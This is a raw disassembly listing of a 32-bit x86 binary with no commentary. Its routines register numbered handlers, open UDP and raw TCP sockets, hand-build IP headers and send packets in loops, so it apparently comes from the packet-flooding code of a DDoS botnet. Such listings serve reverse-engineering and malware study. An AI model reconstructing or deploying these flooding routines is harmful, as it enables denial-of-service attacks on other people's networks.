8048644: 88 15 bc f0 04 08 mov %dl,0x804f0bc
804864a: 59 pop %ecx
804864b: 5b pop %ebx
804864c: 6a 08 push $0x8
804864e: 6a 01 push $0x1
8048650: e8 8f 49 00 00 call 0x804cfe4
8048655: 89 c3 mov %eax,%ebx
8048657: c6 40 04 03 movb $0x3,0x4(%eax)
804865b: c7 00 a0 8c 04 08 movl $0x8048ca0,(%eax)
8048661: 58 pop %eax
8048662: 31 c0 xor %eax,%eax
8048664: a0 bc f0 04 08 mov 0x804f0bc,%al
8048669: 5a pop %edx
804866a: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax
8048671: 50 push %eax
8048672: a1 c0 f0 04 08 mov 0x804f0c0,%eax
8048677: 50 push %eax
8048678: e8 5b 4a 00 00 call 0x804d0d8
804867d: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl
8048683: 31 c9 xor %ecx,%ecx
8048685: 88 d1 mov %dl,%cl
8048687: 42 inc %edx
8048688: a3 c0 f0 04 08 mov %eax,0x804f0c0
804868d: 89 1c 88 mov %ebx,(%eax,%ecx,4)
8048690: 88 15 bc f0 04 08 mov %dl,0x804f0bc
8048696: 59 pop %ecx
8048697: 5b pop %ebx
8048698: 6a 08 push $0x8
804869a: 6a 01 push $0x1
804869c: e8 43 49 00 00 call 0x804cfe4
80486a1: 89 c3 mov %eax,%ebx
80486a3: c6 40 04 04 movb $0x4,0x4(%eax)
80486a7: c7 00 10 96 04 08 movl $0x8049610,(%eax)
80486ad: 58 pop %eax
80486ae: 31 c0 xor %eax,%eax
80486b0: a0 bc f0 04 08 mov 0x804f0bc,%al
80486b5: 5a pop %edx
80486b6: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax
80486bd: 50 push %eax
80486be: a1 c0 f0 04 08 mov 0x804f0c0,%eax
80486c3: 50 push %eax
80486c4: e8 0f 4a 00 00 call 0x804d0d8
80486c9: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl
80486cf: 31 c9 xor %ecx,%ecx
80486d1: 88 d1 mov %dl,%cl
80486d3: 42 inc %edx
80486d4: a3 c0 f0 04 08 mov %eax,0x804f0c0
80486d9: 89 1c 88 mov %ebx,(%eax,%ecx,4)
80486dc: 88 15 bc f0 04 08 mov %dl,0x804f0bc
80486e2: 59 pop %ecx
80486e3: 5b pop %ebx
80486e4: 6a 08 push $0x8
80486e6: 6a 01 push $0x1
80486e8: e8 f7 48 00 00 call 0x804cfe4
80486ed: 89 c3 mov %eax,%ebx
80486ef: c6 40 04 05 movb $0x5,0x4(%eax)
80486f3: c7 00 70 90 04 08 movl $0x8049070,(%eax)
80486f9: 58 pop %eax
80486fa: 31 c0 xor %eax,%eax
80486fc: a0 bc f0 04 08 mov 0x804f0bc,%al
8048701: 5a pop %edx
8048702: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax
8048709: 50 push %eax
804870a: a1 c0 f0 04 08 mov 0x804f0c0,%eax
804870f: 50 push %eax
8048710: e8 c3 49 00 00 call 0x804d0d8
8048715: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl
804871b: 31 c9 xor %ecx,%ecx
804871d: 88 d1 mov %dl,%cl
804871f: 42 inc %edx
8048720: a3 c0 f0 04 08 mov %eax,0x804f0c0
8048725: 89 1c 88 mov %ebx,(%eax,%ecx,4)
8048728: 88 15 bc f0 04 08 mov %dl,0x804f0bc
804872e: b8 01 00 00 00 mov $0x1,%eax
8048733: 83 c4 18 add $0x18,%esp
8048736: 5b pop %ebx
8048737: c3 ret
8048738: 90 nop
8048739: 90 nop
804873a: 90 nop
804873b: 90 nop
804873c: 90 nop
804873d: 90 nop
804873e: 90 nop
804873f: 90 nop
8048740: 55 push %ebp
8048741: 57 push %edi
8048742: 56 push %esi
8048743: 53 push %ebx
8048744: 83 ec 44 sub $0x44,%esp
8048747: 8a 44 24 58 mov 0x58(%esp),%al
804874b: 8b 5c 24 64 mov 0x64(%esp),%ebx
804874f: 88 c2 mov %al,%dl
8048751: 88 44 24 1b mov %al,0x1b(%esp)
8048755: 81 e2 ff 00 00 00 and $0xff,%edx
804875b: 0f b6 74 24 60 movzbl 0x60(%esp),%esi
8048760: 89 54 24 1c mov %edx,0x1c(%esp)
8048764: 6a 04 push $0x4
8048766: 52 push %edx
8048767: e8 78 48 00 00 call 0x804cfe4
804876c: 89 c5 mov %eax,%ebp
804876e: 58 pop %eax
804876f: 5a pop %edx
8048770: 6a 04 push $0x4
8048772: 8b 44 24 20 mov 0x20(%esp),%eax
8048776: 50 push %eax
8048777: e8 68 48 00 00 call 0x804cfe4
804877c: 89 f1 mov %esi,%ecx
804877e: 89 44 24 1c mov %eax,0x1c(%esp)
8048782: 81 e1 ff 00 00 00 and $0xff,%ecx
8048788: 68 ff ff 00 00 push $0xffff
804878d: 89 cf mov %ecx,%edi
804878f: 6a 07 push $0x7
8048791: 53 push %ebx
8048792: 51 push %ecx
8048793: e8 a8 fd ff ff call 0x8048540
8048798: 66 89 44 24 3c mov %ax,0x3c(%esp)
804879d: 83 c4 20 add $0x20,%esp
80487a0: 68 ff ff 00 00 push $0xffff
80487a5: 6a 06 push $0x6
80487a7: 53 push %ebx
80487a8: 57 push %edi
80487a9: e8 92 fd ff ff call 0x8048540
80487ae: 68 00 02 00 00 push $0x200
80487b3: 89 c6 mov %eax,%esi
80487b5: 6a 00 push $0x0
80487b7: 53 push %ebx
80487b8: 57 push %edi
80487b9: e8 82 fd ff ff call 0x8048540
80487be: 66 89 44 24 40 mov %ax,0x40(%esp)
80487c3: 83 c4 20 add $0x20,%esp
80487c6: 6a 01 push $0x1
80487c8: 6a 01 push $0x1
80487ca: 53 push %ebx
80487cb: 57 push %edi
80487cc: e8 6f fd ff ff call 0x8048540
80487d1: c7 44 24 3c 00 00 00 movl $0x0,0x3c(%esp)
80487d8: 00
80487d9: 88 44 24 33 mov %al,0x33(%esp)
80487dd: c7 44 24 40 00 00 00 movl $0x0,0x40(%esp)
80487e4: 00
80487e5: c7 44 24 44 00 00 00 movl $0x0,0x44(%esp)
80487ec: 00
80487ed: c7 44 24 48 00 00 00 movl $0x0,0x48(%esp)
80487f4: 00
80487f5: 83 c4 10 add $0x10,%esp
80487f8: 66 83 fe ff cmp $0xffff,%si
80487fc: 0f 84 7f 01 00 00 je 0x8048981
8048802: 66 c1 ce 08 ror $0x8,%si
8048806: 66 89 74 24 1e mov %si,0x1e(%esp)
804880b: 8a 44 24 13 mov 0x13(%esp),%al
804880f: 25 ff 00 00 00 and $0xff,%eax
8048814: 89 44 24 18 mov %eax,0x18(%esp)
8048818: 85 c0 test %eax,%eax
804881a: 0f 8e 0e 01 00 00 jle 0x804892e
8048820: 8b 54 24 14 mov 0x14(%esp),%edx
8048824: 8b 74 24 54 mov 0x54(%esp),%esi
8048828: 42 inc %edx
8048829: c7 44 24 28 01 00 00 movl $0x1,0x28(%esp)
8048830: 00
8048831: 89 54 24 04 mov %edx,0x4(%esp)
8048835: e9 c1 00 00 00 jmp 0x80488fb
804883a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8048840: 8b 44 24 1c mov 0x1c(%esp),%eax
8048844: 66 c1 c8 08 ror $0x8,%ax
8048848: 66 89 46 02 mov %ax,0x2(%esi)
804884c: 53 push %ebx
804884d: 6a 11 push $0x11
804884f: 6a 02 push $0x2
8048851: 6a 02 push $0x2
8048853: e8 c7 3f 00 00 call 0x804c81f
8048858: 8b 4c 24 1c mov 0x1c(%esp),%ecx
804885c: 89 c2 mov %eax,%edx
804885e: 8b 44 24 38 mov 0x38(%esp),%eax
8048862: 83 c4 10 add $0x10,%esp
8048865: 83 fa ff cmp $0xffffffff,%edx
8048868: 89 54 81 fc mov %edx,-0x4(%ecx,%eax,4)
804886c: 0f 84 1e 01 00 00 je 0x8048990
8048872: 66 8b 44 24 1e mov 0x1e(%esp),%ax
8048877: 66 c7 44 24 2c 02 00 movw $0x2,0x2c(%esp)
804887e: 66 89 44 24 2e mov %ax,0x2e(%esp)
8048883: 8d 44 24 2c lea 0x2c(%esp),%eax
8048887: c7 44 24 30 00 00 00 movl $0x0,0x30(%esp)
804888e: 00
804888f: 51 push %ecx
8048890: 6a 10 push $0x10
8048892: 50 push %eax
8048893: 52 push %edx
8048894: e8 c3 3d 00 00 call 0x804c65c
8048899: 83 c4 10 add $0x10,%esp
804889c: 80 7e 14 1f cmpb $0x1f,0x14(%esi)
80488a0: 77 2a ja 0x80488cc
80488a2: 8b 5e 10 mov 0x10(%esi),%ebx
80488a5: e8 a6 2a 00 00 call 0x804b350
80488aa: 66 c1 cb 08 ror $0x8,%bx
80488ae: c1 cb 10 ror $0x10,%ebx
80488b1: 66 c1 cb 08 ror $0x8,%bx
80488b5: 31 c9 xor %ecx,%ecx
80488b7: 8a 4e 14 mov 0x14(%esi),%cl
80488ba: d3 e8 shr %cl,%eax
80488bc: 01 d8 add %ebx,%eax
80488be: 66 c1 c8 08 ror $0x8,%ax
80488c2: c1 c8 10 ror $0x10,%eax
80488c5: 66 c1 c8 08 ror $0x8,%ax
80488c9: 89 46 04 mov %eax,0x4(%esi)
80488cc: 52 push %edx
80488cd: 6a 10 push $0x10
80488cf: 56 push %esi
80488d0: 83 c6 18 add $0x18,%esi
80488d3: 8b 54 24 34 mov 0x34(%esp),%edx
80488d7: 8b 4c 24 18 mov 0x18(%esp),%ecx
80488db: 8b 44 91 fc mov -0x4(%ecx,%edx,4),%eax
80488df: 50 push %eax
80488e0: e8 a2 3d 00 00 call 0x804c687
80488e5: 8b 44 24 38 mov 0x38(%esp),%eax
80488e9: 8b 7c 24 14 mov 0x14(%esp),%edi
80488ed: 40 inc %eax
80488ee: 89 44 24 38 mov %eax,0x38(%esp)
80488f2: 83 c4 10 add $0x10,%esp
80488f5: 3b 7c 24 28 cmp 0x28(%esp),%edi
80488f9: 74 3a je 0x8048935
80488fb: 57 push %edi
80488fc: 57 push %edi
80488fd: 6a 01 push $0x1
80488ff: 68 ff ff 00 00 push $0xffff
8048904: e8 db 46 00 00 call 0x804cfe4
8048909: 8b 4c 24 38 mov 0x38(%esp),%ecx
804890d: 83 c4 10 add $0x10,%esp
8048910: 89 44 8d fc mov %eax,-0x4(%ebp,%ecx,4)
8048914: 66 83 7c 24 1c ff cmpw $0xffff,0x1c(%esp)
804891a: 0f 85 20 ff ff ff jne 0x8048840
8048920: e8 2b 2a 00 00 call 0x804b350
8048925: 66 89 46 02 mov %ax,0x2(%esi)
8048929: e9 1e ff ff ff jmp 0x804884c
804892e: 8b 44 24 14 mov 0x14(%esp),%eax
8048932: 8d 78 01 lea 0x1(%eax),%edi
8048935: 8b 44 24 18 mov 0x18(%esp),%eax
8048939: 85 c0 test %eax,%eax
804893b: 90 nop
804893c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048940: 7e fe jle 0x8048940
8048942: 8b 74 24 20 mov 0x20(%esp),%esi
8048946: 81 e6 ff ff 00 00 and $0xffff,%esi
804894c: 80 7c 24 23 00 cmpb $0x0,0x23(%esp)
8048951: 75 45 jne 0x8048998
8048953: bb 01 00 00 00 mov $0x1,%ebx
8048958: 8b 44 9d fc mov -0x4(%ebp,%ebx,4),%eax
804895c: 68 00 40 00 00 push $0x4000
8048961: 56 push %esi
8048962: 50 push %eax
8048963: 8b 54 24 18 mov 0x18(%esp),%edx
8048967: 8b 44 9a fc mov -0x4(%edx,%ebx,4),%eax
804896b: 43 inc %ebx
804896c: 50 push %eax
804896d: e8 fc 3d 00 00 call 0x804c76e
8048972: 83 c4 10 add $0x10,%esp
8048975: 39 df cmp %ebx,%edi
8048977: 75 df jne 0x8048958
8048979: 8b 44 24 18 mov 0x18(%esp),%eax
804897d: 85 c0 test %eax,%eax
804897f: eb bf jmp 0x8048940
8048981: e8 ca 29 00 00 call 0x804b350
8048986: 66 89 44 24 1e mov %ax,0x1e(%esp)
804898b: e9 7b fe ff ff jmp 0x804880b
8048990: 83 c4 3c add $0x3c,%esp
8048993: 5b pop %ebx
8048994: 5e pop %esi
8048995: 5f pop %edi
8048996: 5d pop %ebp
8048997: c3 ret
8048998: c7 44 24 24 01 00 00 movl $0x1,0x24(%esp)
804899f: 00
80489a0: 89 74 24 08 mov %esi,0x8(%esp)
80489a4: 8b 4c 24 24 mov 0x24(%esp),%ecx
80489a8: 50 push %eax
80489a9: 50 push %eax
80489aa: 8b 5c 8d fc mov -0x4(%ebp,%ecx,4),%ebx
80489ae: 8b 4c 24 10 mov 0x10(%esp),%ecx
80489b2: 51 push %ecx
80489b3: 53 push %ebx
80489b4: e8 d7 2a 00 00 call 0x804b490
80489b9: 68 00 40 00 00 push $0x4000
80489be: 56 push %esi
80489bf: 53 push %ebx
80489c0: 8b 44 24 40 mov 0x40(%esp),%eax
80489c4: 8b 54 24 28 mov 0x28(%esp),%edx
80489c8: 8b 54 82 fc mov -0x4(%edx,%eax,4),%edx
80489cc: 52 push %edx
80489cd: e8 9c 3d 00 00 call 0x804c76e
80489d2: 8b 44 24 44 mov 0x44(%esp),%eax
80489d6: 40 inc %eax
80489d7: 89 44 24 44 mov %eax,0x44(%esp)
80489db: 83 c4 20 add $0x20,%esp
80489de: 39 7c 24 24 cmp %edi,0x24(%esp)
80489e2: 0f 84 4d ff ff ff je 0x8048935
80489e8: eb ba jmp 0x80489a4
80489ea: 90 nop
80489eb: 90 nop
80489ec: 90 nop
80489ed: 90 nop
80489ee: 90 nop
80489ef: 90 nop
80489f0: 55 push %ebp
80489f1: 57 push %edi
80489f2: 56 push %esi
80489f3: 53 push %ebx
80489f4: 83 ec 44 sub $0x44,%esp
80489f7: 8a 44 24 58 mov 0x58(%esp),%al
80489fb: 8b 5c 24 64 mov 0x64(%esp),%ebx
80489ff: 88 c2 mov %al,%dl
8048a01: 88 44 24 1b mov %al,0x1b(%esp)
8048a05: 81 e2 ff 00 00 00 and $0xff,%edx
8048a0b: 0f b6 74 24 60 movzbl 0x60(%esp),%esi
8048a10: 89 54 24 1c mov %edx,0x1c(%esp)
8048a14: 6a 04 push $0x4
8048a16: 52 push %edx
8048a17: e8 c8 45 00 00 call 0x804cfe4
8048a1c: 89 c5 mov %eax,%ebp
8048a1e: 58 pop %eax
8048a1f: 5a pop %edx
8048a20: 6a 04 push $0x4
8048a22: 8b 44 24 20 mov 0x20(%esp),%eax
8048a26: 50 push %eax
8048a27: e8 b8 45 00 00 call 0x804cfe4
8048a2c: 89 f1 mov %esi,%ecx
8048a2e: 89 44 24 1c mov %eax,0x1c(%esp)
8048a32: 81 e1 ff 00 00 00 and $0xff,%ecx
8048a38: 68 ff ff 00 00 push $0xffff
8048a3d: 89 cf mov %ecx,%edi
8048a3f: 6a 07 push $0x7
8048a41: 53 push %ebx
8048a42: 51 push %ecx
8048a43: e8 f8 fa ff ff call 0x8048540
8048a48: 66 89 44 24 3c mov %ax,0x3c(%esp)
8048a4d: 83 c4 20 add $0x20,%esp
8048a50: 68 ff ff 00 00 push $0xffff
8048a55: 6a 06 push $0x6
8048a57: 53 push %ebx
8048a58: 57 push %edi
8048a59: e8 e2 fa ff ff call 0x8048540
8048a5e: 68 00 04 00 00 push $0x400
8048a63: 89 c6 mov %eax,%esi
8048a65: 6a 00 push $0x0
8048a67: 53 push %ebx
8048a68: 57 push %edi
8048a69: e8 d2 fa ff ff call 0x8048540
8048a6e: 66 89 44 24 40 mov %ax,0x40(%esp)
8048a73: 83 c4 20 add $0x20,%esp
8048a76: 6a 01 push $0x1
8048a78: 6a 01 push $0x1
8048a7a: 53 push %ebx
8048a7b: 57 push %edi
8048a7c: e8 bf fa ff ff call 0x8048540
8048a81: c7 44 24 3c 00 00 00 movl $0x0,0x3c(%esp)
8048a88: 00
8048a89: 88 44 24 33 mov %al,0x33(%esp)
8048a8d: c7 44 24 40 00 00 00 movl $0x0,0x40(%esp)
8048a94: 00
8048a95: c7 44 24 44 00 00 00 movl $0x0,0x44(%esp)
8048a9c: 00
8048a9d: c7 44 24 48 00 00 00 movl $0x0,0x48(%esp)
8048aa4: 00
8048aa5: 83 c4 10 add $0x10,%esp
8048aa8: 66 83 fe ff cmp $0xffff,%si
8048aac: 0f 84 7f 01 00 00 je 0x8048c31
8048ab2: 66 c1 ce 08 ror $0x8,%si
8048ab6: 66 89 74 24 1e mov %si,0x1e(%esp)
8048abb: 8a 44 24 13 mov 0x13(%esp),%al
8048abf: 25 ff 00 00 00 and $0xff,%eax
8048ac4: 89 44 24 18 mov %eax,0x18(%esp)
8048ac8: 85 c0 test %eax,%eax
8048aca: 0f 8e 0e 01 00 00 jle 0x8048bde
8048ad0: 8b 54 24 14 mov 0x14(%esp),%edx
8048ad4: 8b 74 24 54 mov 0x54(%esp),%esi
8048ad8: 42 inc %edx
8048ad9: c7 44 24 28 01 00 00 movl $0x1,0x28(%esp)
8048ae0: 00
8048ae1: 89 54 24 04 mov %edx,0x4(%esp)
8048ae5: e9 c1 00 00 00 jmp 0x8048bab
8048aea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8048af0: 8b 44 24 1c mov 0x1c(%esp),%eax
8048af4: 66 c1 c8 08 ror $0x8,%ax
8048af8: 66 89 46 02 mov %ax,0x2(%esi)
8048afc: 57 push %edi
8048afd: 6a 00 push $0x0
8048aff: 6a 02 push $0x2
8048b01: 6a 02 push $0x2
8048b03: e8 17 3d 00 00 call 0x804c81f
8048b08: 8b 4c 24 1c mov 0x1c(%esp),%ecx
8048b0c: 89 c2 mov %eax,%edx
8048b0e: 8b 44 24 38 mov 0x38(%esp),%eax
8048b12: 83 c4 10 add $0x10,%esp
8048b15: 83 fa ff cmp $0xffffffff,%edx
8048b18: 89 54 81 fc mov %edx,-0x4(%ecx,%eax,4)
8048b1c: 0f 84 1e 01 00 00 je 0x8048c40
8048b22: 66 8b 44 24 1e mov 0x1e(%esp),%ax
8048b27: 66 c7 44 24 2c 02 00 movw $0x2,0x2c(%esp)
8048b2e: 66 89 44 24 2e mov %ax,0x2e(%esp)
8048b33: 8d 44 24 2c lea 0x2c(%esp),%eax
8048b37: c7 44 24 30 00 00 00 movl $0x0,0x30(%esp)
8048b3e: 00
8048b3f: 53 push %ebx
8048b40: 6a 10 push $0x10
8048b42: 50 push %eax
8048b43: 52 push %edx
8048b44: e8 13 3b 00 00 call 0x804c65c
8048b49: 83 c4 10 add $0x10,%esp
8048b4c: 80 7e 14 1f cmpb $0x1f,0x14(%esi)
8048b50: 77 2a ja 0x8048b7c
8048b52: 8b 5e 10 mov 0x10(%esi),%ebx
8048b55: e8 f6 27 00 00 call 0x804b350
8048b5a: 66 c1 cb 08 ror $0x8,%bx
8048b5e: c1 cb 10 ror $0x10,%ebx
8048b61: 66 c1 cb 08 ror $0x8,%bx
8048b65: 31 c9 xor %ecx,%ecx
8048b67: 8a 4e 14 mov 0x14(%esi),%cl
8048b6a: d3 e8 shr %cl,%eax
8048b6c: 01 d8 add %ebx,%eax
8048b6e: 66 c1 c8 08 ror $0x8,%ax
8048b72: c1 c8 10 ror $0x10,%eax
8048b75: 66 c1 c8 08 ror $0x8,%ax
8048b79: 89 46 04 mov %eax,0x4(%esi)
8048b7c: 51 push %ecx
8048b7d: 6a 10 push $0x10
8048b7f: 56 push %esi
8048b80: 83 c6 18 add $0x18,%esi
8048b83: 8b 54 24 34 mov 0x34(%esp),%edx
8048b87: 8b 4c 24 18 mov 0x18(%esp),%ecx
8048b8b: 8b 54 91 fc mov -0x4(%ecx,%edx,4),%edx
8048b8f: 52 push %edx
8048b90: e8 f2 3a 00 00 call 0x804c687
8048b95: 8b 44 24 38 mov 0x38(%esp),%eax
8048b99: 8b 7c 24 14 mov 0x14(%esp),%edi
8048b9d: 40 inc %eax
8048b9e: 89 44 24 38 mov %eax,0x38(%esp)
8048ba2: 83 c4 10 add $0x10,%esp
8048ba5: 3b 7c 24 28 cmp 0x28(%esp),%edi
8048ba9: 74 3a je 0x8048be5
8048bab: 50 push %eax
8048bac: 50 push %eax
8048bad: 6a 01 push $0x1
8048baf: 68 ff ff 00 00 push $0xffff
8048bb4: e8 2b 44 00 00 call 0x804cfe4
8048bb9: 8b 4c 24 38 mov 0x38(%esp),%ecx
8048bbd: 83 c4 10 add $0x10,%esp
8048bc0: 89 44 8d fc mov %eax,-0x4(%ebp,%ecx,4)
8048bc4: 66 83 7c 24 1c ff cmpw $0xffff,0x1c(%esp)
8048bca: 0f 85 20 ff ff ff jne 0x8048af0
8048bd0: e8 7b 27 00 00 call 0x804b350
8048bd5: 66 89 46 02 mov %ax,0x2(%esi)
8048bd9: e9 1e ff ff ff jmp 0x8048afc
8048bde: 8b 44 24 14 mov 0x14(%esp),%eax
8048be2: 8d 78 01 lea 0x1(%eax),%edi
8048be5: 8b 44 24 18 mov 0x18(%esp),%eax
8048be9: 85 c0 test %eax,%eax
8048beb: 90 nop
8048bec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048bf0: 7e fe jle 0x8048bf0
8048bf2: 8b 74 24 20 mov 0x20(%esp),%esi
8048bf6: 81 e6 ff ff 00 00 and $0xffff,%esi
8048bfc: 80 7c 24 23 00 cmpb $0x0,0x23(%esp)
8048c01: 75 45 jne 0x8048c48
8048c03: bb 01 00 00 00 mov $0x1,%ebx
8048c08: 8b 44 9d fc mov -0x4(%ebp,%ebx,4),%eax
8048c0c: 68 00 40 00 00 push $0x4000
8048c11: 56 push %esi
8048c12: 50 push %eax
8048c13: 8b 54 24 18 mov 0x18(%esp),%edx
8048c17: 8b 44 9a fc mov -0x4(%edx,%ebx,4),%eax
8048c1b: 43 inc %ebx
8048c1c: 50 push %eax
8048c1d: e8 4c 3b 00 00 call 0x804c76e
8048c22: 83 c4 10 add $0x10,%esp
8048c25: 39 df cmp %ebx,%edi
8048c27: 75 df jne 0x8048c08
8048c29: 8b 44 24 18 mov 0x18(%esp),%eax
8048c2d: 85 c0 test %eax,%eax
8048c2f: eb bf jmp 0x8048bf0
8048c31: e8 1a 27 00 00 call 0x804b350
8048c36: 66 89 44 24 1e mov %ax,0x1e(%esp)
8048c3b: e9 7b fe ff ff jmp 0x8048abb
8048c40: 83 c4 3c add $0x3c,%esp
8048c43: 5b pop %ebx
8048c44: 5e pop %esi
8048c45: 5f pop %edi
8048c46: 5d pop %ebp
8048c47: c3 ret
8048c48: c7 44 24 24 01 00 00 movl $0x1,0x24(%esp)
8048c4f: 00
8048c50: 89 74 24 08 mov %esi,0x8(%esp)
8048c54: 8b 4c 24 24 mov 0x24(%esp),%ecx
8048c58: 50 push %eax
8048c59: 50 push %eax
8048c5a: 8b 44 24 10 mov 0x10(%esp),%eax
8048c5e: 8b 5c 8d fc mov -0x4(%ebp,%ecx,4),%ebx
8048c62: 50 push %eax
8048c63: 53 push %ebx
8048c64: e8 27 28 00 00 call 0x804b490
8048c69: 68 00 40 00 00 push $0x4000
8048c6e: 56 push %esi
8048c6f: 53 push %ebx
8048c70: 8b 44 24 40 mov 0x40(%esp),%eax
8048c74: 8b 54 24 28 mov 0x28(%esp),%edx
8048c78: 8b 5c 82 fc mov -0x4(%edx,%eax,4),%ebx
8048c7c: 53 push %ebx
8048c7d: e8 ec 3a 00 00 call 0x804c76e
8048c82: 8b 4c 24 44 mov 0x44(%esp),%ecx
8048c86: 41 inc %ecx
8048c87: 89 4c 24 44 mov %ecx,0x44(%esp)
8048c8b: 83 c4 20 add $0x20,%esp
8048c8e: 39 7c 24 24 cmp %edi,0x24(%esp)
8048c92: 0f 84 4d ff ff ff je 0x8048be5
8048c98: eb ba jmp 0x8048c54
8048c9a: 90 nop
8048c9b: 90 nop
8048c9c: 90 nop
8048c9d: 90 nop
8048c9e: 90 nop
8048c9f: 90 nop
8048ca0: 55 push %ebp
8048ca1: 57 push %edi
8048ca2: 56 push %esi
8048ca3: 53 push %ebx
8048ca4: 83 ec 44 sub $0x44,%esp
8048ca7: 8b 5c 24 64 mov 0x64(%esp),%ebx
8048cab: 0f b6 74 24 60 movzbl 0x60(%esp),%esi
8048cb0: 6a 04 push $0x4
8048cb2: 81 e6 ff 00 00 00 and $0xff,%esi
8048cb8: 8a 44 24 5c mov 0x5c(%esp),%al
8048cbc: 25 ff 00 00 00 and $0xff,%eax
8048cc1: 50 push %eax
8048cc2: 89 c5 mov %eax,%ebp
8048cc4: e8 1b 43 00 00 call 0x804cfe4
8048cc9: 89 44 24 18 mov %eax,0x18(%esp)
8048ccd: 6a 00 push $0x0
8048ccf: 6a 02 push $0x2
8048cd1: 53 push %ebx
8048cd2: 56 push %esi
8048cd3: e8 68 f8 ff ff call 0x8048540
8048cd8: 88 44 24 41 mov %al,0x41(%esp)
8048cdc: 83 c4 20 add $0x20,%esp
8048cdf: 68 ff ff 00 00 push $0xffff
8048ce4: 6a 03 push $0x3
8048ce6: 53 push %ebx
8048ce7: 56 push %esi
8048ce8: e8 53 f8 ff ff call 0x8048540
8048ced: 89 44 24 1c mov %eax,0x1c(%esp)
8048cf1: 6a 40 push $0x40
8048cf3: 6a 04 push $0x4
8048cf5: 53 push %ebx
8048cf6: 56 push %esi
8048cf7: e8 44 f8 ff ff call 0x8048540
8048cfc: 83 c4 20 add $0x20,%esp
8048cff: 89 c7 mov %eax,%edi
8048d01: 6a 01 push $0x1
8048d03: 6a 05 push $0x5
8048d05: 53 push %ebx
8048d06: 56 push %esi
8048d07: e8 34 f8 ff ff call 0x8048540
8048d0c: 68 ff ff 00 00 push $0xffff
8048d11: 6a 06 push $0x6
8048d13: 53 push %ebx
8048d14: 56 push %esi
8048d15: e8 26 f8 ff ff call 0x8048540
8048d1a: 89 44 24 30 mov %eax,0x30(%esp)
8048d1e: 83 c4 20 add $0x20,%esp
8048d21: 68 ff ff 00 00 push $0xffff
8048d26: 6a 07 push $0x7
8048d28: 53 push %ebx
8048d29: 56 push %esi
8048d2a: e8 11 f8 ff ff call 0x8048540
8048d2f: 89 44 24 24 mov %eax,0x24(%esp)
8048d33: 68 ff ff 00 00 push $0xffff
8048d38: 6a 11 push $0x11
8048d3a: 53 push %ebx
8048d3b: 56 push %esi
8048d3c: e8 ff f7 ff ff call 0x8048540
8048d41: 89 44 24 38 mov %eax,0x38(%esp)
8048d45: 83 c4 20 add $0x20,%esp
8048d48: a1 08 f1 04 08 mov 0x804f108,%eax
8048d4d: 50 push %eax
8048d4e: 6a 19 push $0x19
8048d50: 53 push %ebx
8048d51: 56 push %esi
8048d52: e8 89 f7 ff ff call 0x80484e0
8048d57: 89 44 24 38 mov %eax,0x38(%esp)
8048d5b: 83 c4 0c add $0xc,%esp
8048d5e: 6a 06 push $0x6
8048d60: 6a 03 push $0x3
8048d62: 6a 02 push $0x2
8048d64: e8 b6 3a 00 00 call 0x804c81f
8048d69: 89 44 24 2c mov %eax,0x2c(%esp)
8048d6d: 83 c4 10 add $0x10,%esp
8048d70: 40 inc %eax
8048d71: 0f 84 e3 02 00 00 je 0x804905a
8048d77: c7 44 24 38 01 00 00 movl $0x1,0x38(%esp)
8048d7e: 00
8048d7f: 83 ec 0c sub $0xc,%esp
8048d82: 6a 04 push $0x4
8048d84: 8d 44 24 48 lea 0x48(%esp),%eax
8048d88: 50 push %eax
8048d89: 6a 03 push $0x3
8048d8b: 6a 00 push $0x0
8048d8d: 8b 44 24 38 mov 0x38(%esp),%eax
8048d91: 50 push %eax
8048d92: e8 4d 3a 00 00 call 0x804c7e4
8048d97: 83 c4 20 add $0x20,%esp
8048d9a: 40 inc %eax
8048d9b: 0f 84 a9 02 00 00 je 0x804904a
8048da1: 8b 54 24 0c mov 0xc(%esp),%edx
8048da5: 8b 4c 24 10 mov 0x10(%esp),%ecx
8048da9: 8b 44 24 14 mov 0x14(%esp),%eax
8048dad: 66 89 54 24 22 mov %dx,0x22(%esp)
8048db2: 66 89 4c 24 24 mov %cx,0x24(%esp)
8048db7: 66 89 44 24 26 mov %ax,0x26(%esp)
8048dbc: c7 44 24 38 00 00 00 movl $0x0,0x38(%esp)
8048dc3: 00
8048dc4: 85 ed test %ebp,%ebp
8048dc6: 0f 8e 1a 01 00 00 jle 0x8048ee6
8048dcc: 8b 74 24 18 mov 0x18(%esp),%esi
8048dd0: 31 db xor %ebx,%ebx
8048dd2: 50 push %eax
8048dd3: 50 push %eax
8048dd4: 6a 01 push $0x1
8048dd6: 68 80 00 00 00 push $0x80
8048ddb: e8 04 42 00 00 call 0x804cfe4
8048de0: 8b 54 24 18 mov 0x18(%esp),%edx
8048de4: 89 04 9a mov %eax,(%edx,%ebx,4)
8048de7: 8b 44 24 48 mov 0x48(%esp),%eax
8048deb: 8b 1c 82 mov (%edx,%eax,4),%ebx
8048dee: c6 03 45 movb $0x45,(%ebx)
8048df1: 8d 53 14 lea 0x14(%ebx),%edx
8048df4: 8a 4c 24 31 mov 0x31(%esp),%cl
8048df8: 66 c7 43 02 00 3c movw $0x3c00,0x2(%ebx)
8048dfe: 88 4b 01 mov %cl,0x1(%ebx)
8048e01: 66 c7 43 06 00 00 movw $0x0,0x6(%ebx)
8048e07: 66 8b 44 24 32 mov 0x32(%esp),%ax
8048e0c: c6 43 09 06 movb $0x6,0x9(%ebx)
8048e10: 66 c1 c8 08 ror $0x8,%ax
8048e14: 66 89 43 04 mov %ax,0x4(%ebx)
8048e18: 89 f8 mov %edi,%eax
8048e1a: 88 43 08 mov %al,0x8(%ebx)
8048e1d: 66 c7 42 0e ff ff movw $0xffff,0xe(%edx)
8048e23: 8b 4c 24 38 mov 0x38(%esp),%ecx
8048e27: 66 c7 42 10 01 00 movw $0x1,0x10(%edx)
8048e2d: 89 4b 0c mov %ecx,0xc(%ebx)
8048e30: 8b 4c 24 64 mov 0x64(%esp),%ecx
8048e34: 8b 44 24 48 mov 0x48(%esp),%eax
8048e38: 66 c7 42 12 01 00 movw $0x1,0x12(%edx)
